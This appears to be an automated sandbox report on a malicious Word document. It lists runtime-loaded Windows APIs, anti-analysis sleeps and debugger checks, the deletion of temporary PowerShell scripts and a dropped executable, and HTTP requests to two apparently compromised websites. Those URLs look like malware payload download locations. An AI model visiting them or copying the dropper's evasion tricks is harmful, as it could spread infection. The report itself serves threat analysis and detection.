- DynamicLoader: ole32.dll/CoTaskMemFree
- DynamicLoader: ole32.dll/CoCreateInstance
- DynamicLoader: ole32.dll/CoReleaseMarshalData
- DynamicLoader: ole32.dll/DcomChannelSetHResult
- DynamicLoader: RpcRtRemote.dll/I\_RpcExtInitializeExtensionPoint
- DynamicLoader: clr.dll/CreateAssemblyEnum
- DynamicLoader: clr.dll/CreateAssemblyEnumW
- DynamicLoader: kernel32.dll/ResolveLocaleName
- DynamicLoader: ntdll.dll/NtQueryInformationThread
- DynamicLoader: ntdll.dll/NtQuerySystemInformation
- DynamicLoader: kernel32.dll/CreateWaitableTimerExW
- DynamicLoader: kernel32.dll/SetWaitableTimerEx
- DynamicLoader: ADVAPI32.dll/EventActivityIdControl
- DynamicLoader: ADVAPI32.dll/EventRegister
- DynamicLoader: ADVAPI32.dll/EventWriteTransfer
- DynamicLoader: VERSION.dll/GetFileVersionInfoSize
- DynamicLoader: VERSION.dll/GetFileVersionInfoSizeW
- DynamicLoader: VERSION.dll/GetFileVersionInfo
- DynamicLoader: VERSION.dll/GetFileVersionInfoW
- DynamicLoader: VERSION.dll/VerQueryValue
- DynamicLoader: VERSION.dll/VerQueryValueW
- DynamicLoader: kernel32.dll/LCMapStringEx
- DynamicLoader: VERSION.dll/VerLanguageName
- DynamicLoader: VERSION.dll/VerLanguageNameW
- DynamicLoader: kernel32.dll/GetCurrentProcessId
- DynamicLoader: kernel32.dll/GetCurrentProcessIdW
- DynamicLoader: ADVAPI32.dll/LookupPrivilegeValue
- DynamicLoader: ADVAPI32.dll/LookupPrivilegeValueW
- DynamicLoader: kernel32.dll/GetCurrentProcess
- DynamicLoader: ADVAPI32.dll/OpenProcessToken
- DynamicLoader: ADVAPI32.dll/OpenProcessTokenW
- DynamicLoader: ADVAPI32.dll/AdjustTokenPrivileges
- DynamicLoader: ADVAPI32.dll/AdjustTokenPrivilegesW
- DynamicLoader: kernel32.dll/CloseHandle
- DynamicLoader: kernel32.dll/OpenProcess
- DynamicLoader: kernel32.dll/OpenProcessW
- DynamicLoader: psapi.dll/EnumProcessModules
- DynamicLoader: psapi.dll/EnumProcessModulesW
- DynamicLoader: ole32.dll/CoUninitialize
- DynamicLoader: psapi.dll/GetModuleInformation
- DynamicLoader: psapi.dll/GetModuleInformationW
- DynamicLoader: psapi.dll/GetModuleBaseName
- DynamicLoader: psapi.dll/GetModuleBaseNameW
- DynamicLoader: ole32.dll/CoTaskMemAlloc



- DynamicLoader: ole32.dll/CoTaskMemFree
- DynamicLoader: psapi.dll/GetModuleFileNameEx
- DynamicLoader: psapi.dll/GetModuleFileNameExW
- DynamicLoader: kernel32.dll/GetExitCodeProcess
- DynamicLoader: kernel32.dll/GetExitCodeProcessW
- DynamicLoader: ADVAPI32.dll/RegQueryValueEx
- DynamicLoader: ADVAPI32.dll/RegQueryValueExW
- DynamicLoader: ADVAPI32.dll/RegQueryValueEx
- DynamicLoader: ADVAPI32.dll/RegQueryValueExW
- DynamicLoader: USER32.dll/EnumWindows
- DynamicLoader: USER32.dll/EnumWindowsW
- DynamicLoader: shell32.dll/SHGetFolderPath
- DynamicLoader: shell32.dll/SHGetFolderPathW
- DynamicLoader: USER32.dll/GetWindowThreadProcessId
- DynamicLoader: USER32.dll/GetWindowThreadProcessIdW
- DynamicLoader: USER32.dll/GetWindow
- DynamicLoader: USER32.dll/IsWindowVisible
- DynamicLoader: USER32.dll/IsWindowVisibleW
- DynamicLoader: ntdll.dll/NtQuerySystemInformation
- DynamicLoader: ntdll.dll/NtQuerySystemInformationW
- DynamicLoader: kernel32.dll/WerSetFlags
- DynamicLoader: kernel32.dll/CreateFile
- DynamicLoader: kernel32.dll/CreateFileW
- DynamicLoader: kernel32.dll/CloseHandle
- DynamicLoader: kernel32.dll/GetFileType
- DynamicLoader: kernel32.dll/SetThreadPreferredUILanguages
- DynamicLoader: kernel32.dll/SetThreadPreferredUILanguagesW
- DynamicLoader: kernel32.dll/GetThreadPreferredUILanguages
- DynamicLoader: kernel32.dll/GetThreadPreferredUILanguagesW
- DynamicLoader: kernel32.dll/GetUserDefaultLocaleName
- DynamicLoader: kernel32.dll/GetUserDefaultLocaleNameW
- DynamicLoader: wintrust.dll/WTGetSignatureInfo
- DynamicLoader: wintrust.dll/WTGetSignatureInfoA
- DynamicLoader: VERSION.dll/GetFileVersionInfoSizeW
- DynamicLoader: VERSION.dll/GetFileVersionInfoW
- DynamicLoader: VERSION.dll/VerQueryValueW
- DynamicLoader: ole32.dll/CoTaskMemAlloc
- DynamicLoader: wintrust.dll/WinVerifyTrust
- DynamicLoader: wintrust.dll/WinVerifyTrustW
- DynamicLoader: wintrust.dll/WintrustCertificateTrust
- DynamicLoader: wintrust.dll/SoftpubAuthenticateCode
- DynamicLoader: wintrust.dll/SoftpubInitialize
- DynamicLoader: wintrust.dll/SoftpubLoadMessage
- DynamicLoader: wintrust.dll/SoftpubLoadSignature
- DynamicLoader: wintrust.dll/SoftpubCheckCert
- DynamicLoader: wintrust.dll/SoftpubCleanup
- DynamicLoader: CRYPTSP.dll/CryptAcquireContextA
- DynamicLoader: kernel32.dll/GetEnvironmentVariable
- DynamicLoader: kernel32.dll/GetEnvironmentVariableW
- DynamicLoader: MSISIP.DLL/DllCanUnloadNow
- DynamicLoader: MSISIP.DLL/MsiSIPsMyTypeOfFile
- DynamicLoader: ole32.dll/CoInitialize
- DynamicLoader: ole32.dll/StgOpenStorage
- DynamicLoader: ole32.dll/CoCreateGuid
- DynamicLoader: wshext.dll/DllCanUnloadNow
- DynamicLoader: wshext.dll/IsFileSupportedName
- DynamicLoader: pwrshsip.dll/DllCanUnloadNow
- DynamicLoader: pwrshsip.dll/PsIsMyFileType
- DynamicLoader: pwrshsip.dll/PsPutSignature
- DynamicLoader: pwrshsip.dll/PsGetSignature
- DynamicLoader: wintrust.dll/WTHelperProvDataFromStateData
- DynamicLoader: wintrust.dll/WTHelperProvDataFromStateDataW
- DynamicLoader: wintrust.dll/WTHelperGetProvSignerFromChain





- DynamicLoader: wintrust.dll/WTHelperGetProvSignerFromChainW
- DynamicLoader: CRYPTSP.dll/CryptReleaseContext
- DynamicLoader: ole32.dll/CoTaskMemFree
- DynamicLoader: kernel32.dll/GetConsoleCP
- DynamicLoader: kernel32.dll/GetConsoleCPW
- DynamicLoader: kernel32.dll/CreateFile
- DynamicLoader: kernel32.dll/CreateFileW
- DynamicLoader: kernel32.dll/GetCurrentConsoleFontEx
- DynamicLoader: kernel32.dll/GetCurrentConsoleFontExW
- DynamicLoader: kernel32.dll/GetConsoleScreenBufferInfo
- DynamicLoader: kernel32.dll/GetConsoleScreenBufferInfoW
- DynamicLoader: kernel32.dll/GetConsoleMode
- DynamicLoader: kernel32.dll/GetConsoleModeW
- DynamicLoader: kernel32.dll/SetConsoleMode
- DynamicLoader: kernel32.dll/SetConsoleModeW
- DynamicLoader: kernel32.dll/SetConsoleCtrlHandler
- DynamicLoader: kernel32.dll/SetConsoleCtrlHandlerW
- DynamicLoader: kernel32.dll/GetStdHandle
- DynamicLoader: kernel32.dll/GetConsoleMode
- DynamicLoader: kernel32.dll/GetProcessTimes
- DynamicLoader: kernel32.dll/GetProcessTimesW
- DynamicLoader: kernel32.dll/GetDynamicTimeZoneInformation
- DynamicLoader: kernel32.dll/GetCurrentProcess
- DynamicLoader: kernel32.dll/GetCurrentProcessW
- DynamicLoader: ADVAPI32.dll/OpenProcessToken
- DynamicLoader: ADVAPI32.dll/OpenProcessTokenW
- DynamicLoader: kernel32.dll/GetFileMUIPath
- DynamicLoader: kernel32.dll/LoadLibraryEx
- DynamicLoader: kernel32.dll/LoadLibraryExW
- DynamicLoader: kernel32.dll/FreeLibrary
- DynamicLoader: kernel32.dll/FreeLibraryW
- DynamicLoader: kernel32.dll/LocalFree
- DynamicLoader: ADVAPI32.dll/GetTokenInformation
- DynamicLoader: ADVAPI32.dll/GetTokenInformationW
- DynamicLoader: kernel32.dll/LocalAlloc
- DynamicLoader: kernel32.dll/LocalAllocW
- DynamicLoader: ADVAPI32.dll/DuplicateTokenEx
- DynamicLoader: ADVAPI32.dll/DuplicateTokenExW
- DynamicLoader: ADVAPI32.dll/CheckTokenMembership
- DynamicLoader: ADVAPI32.dll/CheckTokenMembershipW
- DynamicLoader: USER32.dll/LoadStringW
- DynamicLoader: ADVAPI32.dll/CreateWellKnownSid
- DynamicLoader: kernel32.dll/GetConsoleTitle
- DynamicLoader: kernel32.dll/GetConsoleTitleW
- DynamicLoader: kernel32.dll/CreateNamedPipe
- DynamicLoader: kernel32.dll/CreateNamedPipeW
- DynamicLoader: kernel32.dll/SetEnvironmentVariable
- DynamicLoader: kernel32.dll/SetEnvironmentVariableW
- DynamicLoader: mscoreei.dll/\_CorDllMain\_RetAddr
- DynamicLoader: mscoreei.dll/\_CorDllMain
- DynamicLoader: mscoree.dll/GetTokenForVTableEntry
- DynamicLoader: mscoree.dll/SetTargetForVTableEntry
- DynamicLoader: mscoree.dll/GetTargetForVTableEntry
- DynamicLoader: mscoreei.dll/GetTokenForVTableEntry\_RetAddr
- DynamicLoader: mscoreei.dll/GetTokenForVTableEntry
- DynamicLoader: kernel32.dll/SetConsoleTitle
- DynamicLoader: kernel32.dll/SetConsoleTitleW
- DynamicLoader: mscoreei.dll/SetTargetForVTableEntry\_RetAddr
- DynamicLoader: mscoreei.dll/SetTargetForVTableEntry
- DynamicLoader: ole32.dll/CoCreateGuid
- DynamicLoader: kernel32.dll/ExpandEnvironmentStrings
- DynamicLoader: kernel32.dll/ExpandEnvironmentStringsW
- DynamicLoader: kernel32.dll/GetTimeZoneInformation





- DynamicLoader: ADVAPI32.dll/RegCloseKey
- DynamicLoader: ADVAPI32.dll/RegQueryInfoKey
- DynamicLoader: ADVAPI32.dll/RegQueryInfoKeyW
- DynamicLoader: ADVAPI32.dll/RegEnumKeyEx
- DynamicLoader: ADVAPI32.dll/RegEnumKeyExW
- DynamicLoader: secur32.dll/GetUserNameEx
- DynamicLoader: secur32.dll/GetUserNameExW
- DynamicLoader: ADVAPI32.dll/GetUserName
- DynamicLoader: ADVAPI32.dll/GetUserNameW
- DynamicLoader: kernel32.dll/EnumCalendarInfoExEx
- DynamicLoader: kernel32.dll/GetCalendarInfoEx
- DynamicLoader: kernel32.dll/EnumSystemLocalesEx
- DynamicLoader: kernel32.dll/EnumTimeFormatsEx
- DynamicLoader: kernel32.dll/ReleaseMutex
- DynamicLoader: ADVAPI32.dll/RegisterEventSource
- DynamicLoader: ADVAPI32.dll/RegisterEventSourceW
- DynamicLoader: ADVAPI32.dll/DeregisterEventSource
- DynamicLoader: ADVAPI32.dll/ReportEvent
- DynamicLoader: ADVAPI32.dll/ReportEventW
- DynamicLoader: kernel32.dll/GetLogicalDrives
- DynamicLoader: kernel32.dll/GetDriveType
- DynamicLoader: kernel32.dll/GetDriveTypeW
- DynamicLoader: kernel32.dll/GetVolumeInformation
- DynamicLoader: kernel32.dll/GetVolumeInformationW
- DynamicLoader: SHLWAPI.dll/PathIsNetworkPath
- DynamicLoader: SHLWAPI.dll/PathIsNetworkPathW
- DynamicLoader: shell32.dll/
- DynamicLoader: kernel32.dll/GetFileAttributes
- DynamicLoader: kernel32.dll/GetFileAttributesW
- DynamicLoader: kernel32.dll/GetCurrentDirectory
- DynamicLoader: kernel32.dll/GetCurrentDirectoryW
- DynamicLoader: kernel32.dll/GetSystemDirectory
- DynamicLoader: kernel32.dll/GetSystemDirectoryW
- DynamicLoader: ntdll.dll/NtQuerySystemInformation
- DynamicLoader: kernel32.dll/GetTempPath
- DynamicLoader: kernel32.dll/GetTempPathW
- DynamicLoader: CRYPTSP.dll/CryptGetDefaultProviderW
- DynamicLoader: CRYPTSP.dll/CryptGenRandom
- DynamicLoader: kernel32.dll/WriteFile
- DynamicLoader: ADVAPI32.dll/SaferIdentifyLevel
- DynamicLoader: ADVAPI32.dll/SaferComputeTokenFromLevel
- DynamicLoader: ADVAPI32.dll/SaferCloseLevel
- DynamicLoader: kernel32.dll/DeleteFile
- DynamicLoader: kernel32.dll/DeleteFileW
- DynamicLoader: kernel32.dll/GetSystemInfo
- DynamicLoader: kernel32.dll/QueryPerformanceFrequency
- DynamicLoader: kernel32.dll/QueryPerformanceCounter
- DynamicLoader: kernel32.dll/CreateEvent
- DynamicLoader: kernel32.dll/CreateEventW
- DynamicLoader: kernel32.dll/SetEvent
- DynamicLoader: uxtheme.dll/ThemeInitApiHook
- DynamicLoader: USER32.dll/IsProcessDPIAware
- DynamicLoader: ole32.dll/CoWaitForMultipleHandles
- DynamicLoader: kernel32.dll/SetThreadUILanguage
- DynamicLoader: kernel32.dll/SetThreadUILanguageW
- DynamicLoader: kernel32.dll/GetLastError
- DynamicLoader: kernel32.dll/LocalAlloc
- DynamicLoader: kernel32.dll/FindFirstFile
- DynamicLoader: kernel32.dll/FindFirstFileW
- DynamicLoader: kernel32.dll/FindClose
- DynamicLoader: kernel32.dll/FindNextFile
- DynamicLoader: kernel32.dll/FindNextFileW
- DynamicLoader: kernel32.dll/GetACP



- DynamicLoader: kernel32.dll/UnmapViewOfFile
- DynamicLoader: kernel32.dll/SetFilePointer
- DynamicLoader: kernel32.dll/ReadFile
- DynamicLoader: ole32.dll/CoInitialize
- DynamicLoader: ole32.dll/StgOpenStorage
- DynamicLoader: ole32.dll/CoUninitialize
- DynamicLoader: ole32.dll/CoInitialize
- DynamicLoader: ole32.dll/StgOpenStorage
- DynamicLoader: ole32.dll/CoUninitialize
- DynamicLoader: kernel32.dll/CreateDirectory
- DynamicLoader: kernel32.dll/CreateDirectoryW
- DynamicLoader: kernel32.dll/WriteConsole
- DynamicLoader: kernel32.dll/WriteConsoleW
- DynamicLoader: kernel32.dll/GetConsoleOutputCP
- DynamicLoader: kernel32.dll/GetConsoleOutputCPW
- DynamicLoader: GDI32.dll/TranslateCharsetInfo
- DynamicLoader: GDI32.dll/TranslateCharsetInfoW
- DynamicLoader: kernel32.dll/GetModuleFileName
- DynamicLoader: kernel32.dll/GetModuleFileNameW
- DynamicLoader: kernel32.dll/GetFileAttributesEx
- DynamicLoader: kernel32.dll/GetFileAttributesExW
- DynamicLoader: kernel32.dll/GetFileSize
- DynamicLoader: ole32.dll/CoInitialize
- DynamicLoader: ole32.dll/StgOpenStorage
- DynamicLoader: ole32.dll/CoUninitialize
- DynamicLoader: ole32.dll/CoInitialize
- DynamicLoader: ole32.dll/StgOpenStorage
- DynamicLoader: ole32.dll/CoUninitialize
- DynamicLoader: ole32.dll/CoInitialize
- DynamicLoader: ole32.dll/StgOpenStorage
- DynamicLoader: ole32.dll/CoUninitialize
- DynamicLoader: rasapi32.dll/RasEnumConnections
- DynamicLoader: rasapi32.dll/RasEnumConnectionsW
- DynamicLoader: rtutils.dll/TraceRegisterExA
- DynamicLoader: rtutils.dll/TracePrintfExA
- DynamicLoader: sechost.dll/OpenSCManagerW
- DynamicLoader: sechost.dll/OpenServiceW
- DynamicLoader: sechost.dll/QueryServiceStatus
- DynamicLoader: sechost.dll/CloseServiceHandle
- DynamicLoader: WS2\_32.dll/WSAStartup
- DynamicLoader: WS2\_32.dll/WSASocket
- DynamicLoader: WS2\_32.dll/WSASocketW
- DynamicLoader: WS2\_32.dll/setsockopt
- DynamicLoader: WS2\_32.dll/WSAEventSelect
- DynamicLoader: WS2\_32.dll/ioctlsocket
- DynamicLoader: WS2\_32.dll/closesocket
- DynamicLoader: WS2\_32.dll/ioctlsocket
- DynamicLoader: WS2\_32.dll/WSAIoctl
- DynamicLoader: kernel32.dll/FormatMessage
- DynamicLoader: kernel32.dll/FormatMessageW
- DynamicLoader: WS2\_32.dll/WSAEventSelect
- DynamicLoader: rasapi32.dll/RasConnectionNotification
- DynamicLoader: rasapi32.dll/RasConnectionNotificationW
- DynamicLoader: ADVAPI32.dll/RegOpenCurrentUser
- DynamicLoader: ADVAPI32.dll/RegCloseKey
- DynamicLoader: sechost.dll/NotifyServiceStatusChangeA
- DynamicLoader: ADVAPI32.dll/RegOpenKeyEx
- DynamicLoader: ADVAPI32.dll/RegOpenKeyExW
- DynamicLoader: ADVAPI32.dll/RegNotifyChangeKeyValue
- DynamicLoader: ADVAPI32.dll/RegOpenKeyEx
- DynamicLoader: ADVAPI32.dll/RegOpenKeyExW
- DynamicLoader: winhttp.dll/WinHttpOpen
- DynamicLoader: winhttp.dll/WinHttpOpenW



- DynamicLoader: winhttp.dll/WinHttpCloseHandle
- DynamicLoader: winhttp.dll/WinHttpCloseHandleW
- DynamicLoader: winhttp.dll/WinHttpSetTimeouts
- DynamicLoader: winhttp.dll/WinHttpSetTimeoutsW
- DynamicLoader: winhttp.dll/WinHttpGetIEProxyConfigForCurrentUser
- DynamicLoader: kernel32.dll/ResetEvent
- DynamicLoader: kernel32.dll/LocalFree
- DynamicLoader: IPHLPAPI.DLL/GetNetworkParams
- DynamicLoader: DNSAPI.dll/DnsQueryConfig
- DynamicLoader: IPHLPAPI.DLL/GetAdaptersAddresses
- DynamicLoader: IPHLPAPI.DLL/GetIpInterfaceEntry
- DynamicLoader: IPHLPAPI.DLL/GetBestInterfaceEx
- DynamicLoader: kernel32.dll/LocalAlloc
- DynamicLoader: IPHLPAPI.DLL/GetAdaptersAddresses
- DynamicLoader: WS2\_32.dll/GetAddrInfoW
- DynamicLoader: WS2\_32.dll/freeaddrinfo
- DynamicLoader: IPHLPAPI.DLL/GetAdaptersAddresses
- DynamicLoader: WS2\_32.dll/WSAConnect
- DynamicLoader: WS2\_32.dll/send
- DynamicLoader: WS2\_32.dll/setsockopt
- DynamicLoader: WS2\_32.dll/recv
- DynamicLoader: WS2\_32.dll/shutdown
- DynamicLoader: secur32.dll/EnumerateSecurityPackagesW
- DynamicLoader: secur32.dll/FreeContextBuffer
- DynamicLoader: secur32.dll/FreeCredentialsHandle
- DynamicLoader: secur32.dll/AcquireCredentialsHandleW
- DynamicLoader: schannel.DLL/SpUserModeInitialize
- DynamicLoader: ADVAPI32.dll/RegCreateKeyExW
- DynamicLoader: ADVAPI32.dll/RegQueryValueExW
- DynamicLoader: ADVAPI32.dll/RegCloseKey
- DynamicLoader: secur32.dll/DeleteSecurityContext
- DynamicLoader: secur32.dll/InitializeSecurityContextW
- DynamicLoader: secur32.dll/FreeContextBuffer
- DynamicLoader: ncrypt.dll/SslOpenProvider
- DynamicLoader: ncrypt.dll/GetSChannelInterface
- DynamicLoader: bcryptprimitives.dll/GetHashInterface
- DynamicLoader: bcryptprimitives.dll/GetHashInterface
- DynamicLoader: bcryptprimitives.dll/GetHashInterface
- DynamicLoader: bcryptprimitives.dll/GetHashInterface
- DynamicLoader: ncrypt.dll/SslIncrementProviderReferenceCount
- DynamicLoader: ncrypt.dll/SslImportKey
- DynamicLoader: bcryptprimitives.dll/GetCipherInterface
- DynamicLoader: secur32.dll/QueryContextAttributesW
- DynamicLoader: ncrypt.dll/SslLookupCipherSuiteInfo
- DynamicLoader: ncrypt.dll/SslLookupCipherLengths
- DynamicLoader: CRYPT32.dll/CertFreeCertificateContext
- DynamicLoader: CRYPT32.dll/CertFreeCertificateContext
- DynamicLoader: CRYPT32.dll/CertDuplicateCertificateContext
- DynamicLoader: CRYPT32.dll/CertGetCertificateContextProperty
- DynamicLoader: CRYPT32.dll/CertDuplicateCertificateContext
- DynamicLoader: CRYPT32.dll/CertDuplicateCertificateContextW
- DynamicLoader: CRYPT32.dll/CertCloseStore
- DynamicLoader: CRYPT32.dll/CertDuplicateStore
- DynamicLoader: CRYPT32.dll/CertDuplicateStoreW
- DynamicLoader: CRYPT32.dll/CertEnumCertificatesInStore
- DynamicLoader: CRYPT32.dll/CertEnumCertificatesInStoreW
- DynamicLoader: CRYPT32.dll/CertFreeCertificateChain
- DynamicLoader: CRYPT32.dll/CertOpenStore
- DynamicLoader: CRYPT32.dll/CertOpenStoreW
- DynamicLoader: CRYPT32.dll/CertAddCertificateLinkToStore
- DynamicLoader: CRYPT32.dll/CertAddCertificateLinkToStoreW
- DynamicLoader: kernel32.dll/LocalFree
- DynamicLoader: CRYPT32.dll/CertGetCertificateChain



- DynamicLoader: CRYPT32.dll/CertGetCertificateChainW
- DynamicLoader: USERENV.dll/GetUserProfileDirectoryW
- DynamicLoader: sechost.dll/ConvertSidToStringSidW
- DynamicLoader: sechost.dll/ConvertStringSidToSidW
- DynamicLoader: USERENV.dll/RegisterGPNotification
- DynamicLoader: GPAPI.dll/RegisterGPNotificationInternal
- DynamicLoader: sechost.dll/OpenSCManagerW
- DynamicLoader: sechost.dll/OpenServiceW
- DynamicLoader: sechost.dll/CloseServiceHandle
- DynamicLoader: sechost.dll/QueryServiceConfigW
- DynamicLoader: sechost.dll/ConvertSidToStringSidW
- DynamicLoader: USER32.dll/LoadStringW
- DynamicLoader: ncrypt.dll/BCryptOpenAlgorithmProvider
- DynamicLoader: bcryptprimitives.dll/GetHashInterface
- DynamicLoader: ncrypt.dll/BCryptGetProperty
- DynamicLoader: ncrypt.dll/BCryptCreateHash
- DynamicLoader: ncrypt.dll/BCryptHashData
- DynamicLoader: ncrypt.dll/BCryptFinishHash
- DynamicLoader: ncrypt.dll/BCryptDestroyHash
- DynamicLoader: CRYPTSP.dll/CryptAcquireContextA
- DynamicLoader: CRYPTSP.dll/CryptImportKey
- DynamicLoader: CRYPTSP.dll/CryptCreateHash
- DynamicLoader: CRYPTSP.dll/CryptHashData
- DynamicLoader: CRYPTSP.dll/CryptVerifySignatureA
- DynamicLoader: CRYPTSP.dll/CryptDestroyKey
- DynamicLoader: CRYPTSP.dll/CryptDestroyHash
- DynamicLoader: cryptnet.dll/I\_CryptNetGetConnectivity
- DynamicLoader: SensApi.dll/IsNetworkAlive
- DynamicLoader: RPCRT4.dll/RpcBindingFromStringBindingW
- DynamicLoader: RPCRT4.dll/RpcBindingSetAuthInfoExW
- DynamicLoader: RPCRT4.dll/NdrClientCall3
- DynamicLoader: cryptnet.dll/CryptRetrieveObjectByUrlW
- DynamicLoader: SHLWAPI.dll/UrlGetPartW
- DynamicLoader: winhttp.dll/WinHttpOpen
- DynamicLoader: winhttp.dll/WinHttpSetTimeouts
- DynamicLoader: winhttp.dll/WinHttpSetOption
- DynamicLoader: winhttp.dll/WinHttpCrackUrl
- DynamicLoader: SHLWAPI.dll/StrCmpNW
- DynamicLoader: winhttp.dll/WinHttpConnect
- DynamicLoader: winhttp.dll/WinHttpOpenRequest
- DynamicLoader: winhttp.dll/WinHttpGetDefaultProxyConfiguration
- DynamicLoader: winhttp.dll/WinHttpGetIEProxyConfigForCurrentUser
- DynamicLoader: sechost.dll/ConvertSidToStringSidW
- DynamicLoader: profapi.dll/
- DynamicLoader: winhttp.dll/WinHttpSendRequest
- DynamicLoader: WS2\_32.dll/GetAddrInfoW
- DynamicLoader: WS2\_32.dll/WSASocketW
- DynamicLoader: WS2\_32.dll/
- DynamicLoader: WS2\_32.dll/
- DynamicLoader: WS2\_32.dll/
- DynamicLoader: WS2\_32.dll/WSAIoctl
- DynamicLoader: WS2\_32.dll/FreeAddrInfoW
- DynamicLoader: WS2\_32.dll/
- DynamicLoader: WS2\_32.dll/
- DynamicLoader: WS2\_32.dll/WSARecv
- DynamicLoader: WS2\_32.dll/WSASend
- DynamicLoader: winhttp.dll/WinHttpReceiveResponse
- DynamicLoader: winhttp.dll/WinHttpQueryHeaders
- DynamicLoader: winhttp.dll/WinHttpQueryDataAvailable
- DynamicLoader: WS2\_32.dll/
- DynamicLoader: winhttp.dll/WinHttpReadData
- DynamicLoader: WS2\_32.dll/
- DynamicLoader: winhttp.dll/WinHttpCloseHandle



- DynamicLoader: setupapi.dll/SetupIterateCabinetW
- DynamicLoader: Cabinet.dll/
- DynamicLoader: Cabinet.dll/
- DynamicLoader: Cabinet.dll/
- DynamicLoader: sechost.dll/OpenSCManagerW
- DynamicLoader: sechost.dll/OpenServiceW
- DynamicLoader: sechost.dll/QueryServiceConfigA
- DynamicLoader: sechost.dll/QueryServiceStatus
- DynamicLoader: sechost.dll/CloseServiceHandle
- DynamicLoader: RPCRT4.dll/RpcStringBindingComposeA
- DynamicLoader: RPCRT4.dll/RpcBindingFromStringBindingA
- DynamicLoader: RPCRT4.dll/RpcEpResolveBinding
- DynamicLoader: sechost.dll/LookupAccountSidLocalW
- DynamicLoader: RPCRT4.dll/RpcBindingSetAuthInfoExW
- DynamicLoader: RPCRT4.dll/RpcStringFreeA
- DynamicLoader: RPCRT4.dll/NdrClientCall3
- DynamicLoader: RPCRT4.dll/RpcBindingFree
- DynamicLoader: bcryptprimitives.dll/GetHashInterface
- DynamicLoader: CRYPTSP.dll/CryptGetKeyParam
- DynamicLoader: CRYPT32.dll/CertDuplicateCertificateChain
- DynamicLoader: CRYPT32.dll/CertDuplicateCertificateChainW
- DynamicLoader: kernel32.dll/FormatMessage
- DynamicLoader: kernel32.dll/FormatMessageW
- DynamicLoader: CRYPT32.dll/CertVerifyCertificateChainPolicy
- DynamicLoader: CRYPT32.dll/CertVerifyCertificateChainPolicyW
- DynamicLoader: kernel32.dll/SetLastError
- DynamicLoader: CRYPT32.dll/CertFreeCertificateChain
- DynamicLoader: CRYPT32.dll/CertVerifyCertificateChainPolicy
- DynamicLoader: CRYPT32.dll/CertFreeCertificateContext
- DynamicLoader: ncrypt.dll/SslDecrementProviderReferenceCount
- DynamicLoader: ncrypt.dll/SslFreeObject
- DynamicLoader: diasymreader.dll/DllGetClassObject
- DynamicLoader: diasymreader.dll/DllGetClassObject
- DynamicLoader: diasymreader.dll/DllGetClassObject
- DynamicLoader: cryptnet.dll/I\_CryptNetGetConnectivity
- DynamicLoader: cryptnet.dll/CryptRetrieveObjectByUrlW
- DynamicLoader: setupapi.dll/SetupIterateCabinetW
- DynamicLoader: Cabinet.dll/
- DynamicLoader: Cabinet.dll/
- DynamicLoader: Cabinet.dll/
- DynamicLoader: cryptnet.dll/I\_CryptNetGetConnectivity
- DynamicLoader: cryptnet.dll/CryptRetrieveObjectByUrlW
- DynamicLoader: setupapi.dll/SetupIterateCabinetW
- DynamicLoader: Cabinet.dll/
- DynamicLoader: Cabinet.dll/
- DynamicLoader: Cabinet.dll/
- DynamicLoader: OLEAUT32.dll/
- DynamicLoader: mscoree.dll/CorExitProcess
- DynamicLoader: mscoree.dll/CorExitProcess\_RetAddr
- DynamicLoader: mscoree.dll/CorExitProcess
- DynamicLoader: ADVAPI32.dll/EventUnregister
- DynamicLoader: ADVAPI32.dll/EventUnregister
- DynamicLoader: RPCRT4.dll/RpcBindingFree
- DynamicLoader: RPCRT4.dll/RpcBindingFree
- DynamicLoader: clr.dll/\_CorDllMain
- DynamicLoader: kernel32.dll/CreateActCtxW
- DynamicLoader: kernel32.dll/AddRefActCtx
- DynamicLoader: kernel32.dll/ReleaseActCtx
- DynamicLoader: kernel32.dll/ActivateActCtx
- DynamicLoader: kernel32.dll/DeactivateActCtx
- DynamicLoader: kernel32.dll/GetCurrentActCtx
- DynamicLoader: kernel32.dll/QueryActCtxW
- DynamicLoader: ADVAPI32.dll/EventUnregister



- DynamicLoader: CRYPTSP.dll/CryptReleaseContext

A process attempted to delay the analysis task.

- Process: WmiPrvSE.exe tried to sleep 360 seconds, actually delayed analysis time by 0 seconds
- Process: WINWORD.EXE tried to sleep 344 seconds, actually delayed analysis time by 0 seconds

Guard pages use detected - possible anti-debugging.

Anomalous file deletion behavior detected (10+)

- DeletedFile: C:\Users\Seven01\AppData\Local\Microsoft\Forms\WINWORD.box
- DeletedFile: C:\Users\Seven01\AppData\Local\Microsoft\Schemas\MS Word\_restart.xml
- DeletedFile: C:\Users\Seven01\AppData\Local\Temp\~DFA8C58E9EF57BEE2B.TMP
- DeletedFile: C:\Users\Seven01\AppData\Local\Temp\~\$SRKvTPVwrsfy3UCM
- DeletedFile: C:\Users\Seven01\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{1741E0A4-FFD0-493D-833E-41B7387887B6}.tmp
- DeletedFile: C:\Users\Seven01\AppData\Roaming\Microsoft\Templates\~\$Normal.dotm
- DeletedFile: C:\Users\Seven01\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{9A677D13-0D37-469E-A239-8C7C5F544111}.tmp
- DeletedFile: C:\Users\Seven01\AppData\Local\Temp\CVR41C2.tmp.cvr
- DeletedFile: C:\Users\Seven01\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{26FE243E-9AFC-465A-AC11-15B337F99B16}.tmp
- DeletedFile: C:\Users\Seven01\AppData\Local\Temp\teh3zc1v.db2.ps1
- DeletedFile: C:\Users\Seven01\AppData\Local\Temp\3er5icy4.kga.psm1
- DeletedFile: C:\Users\Seven01\AppData\Local\Temp\Cab25C9.tmp
- DeletedFile: C:\Users\Seven01\AppData\Local\Temp\Tar25CA.tmp
- DeletedFile: C:\Users\Seven01\Wc5Suwd\iJzerID\F1rxg4v7.exe
- DeletedFile: C:\Users\Seven01\AppData\Local\Temp\Cab3A5C.tmp
- DeletedFile: C:\Users\Seven01\AppData\Local\Temp\Tar3A5D.tmp
- DeletedFile: C:\Users\Seven01\Wc5Suwd\iJzerID\F1rxg4v7.exe
- DeletedFile: C:\Users\Seven01\AppData\Local\Temp\Cab3B87.tmp
- DeletedFile: C:\Users\Seven01\AppData\Local\Temp\Tar3B88.tmp
- DeletedFile: C:\Users\Seven01\Wc5Suwd\iJzerID\F1rxg4v7.exe

Attempts to connect to a dead IP:Port (1 unique times)

- IP: 192.168.56.1:80

SetUnhandledExceptionFilter detected (possible anti-debug)

## 4 HTTP Request(s) detected

<http://zplusshopping.com/wp-content/plugins/8ek/>

Hostname: zplusshopping.com

IP Address:

Port: 80

Count: 1

<http://freespiritmind.com/MASD/HowTo/css/J/>

Hostname: freespiritmind.com

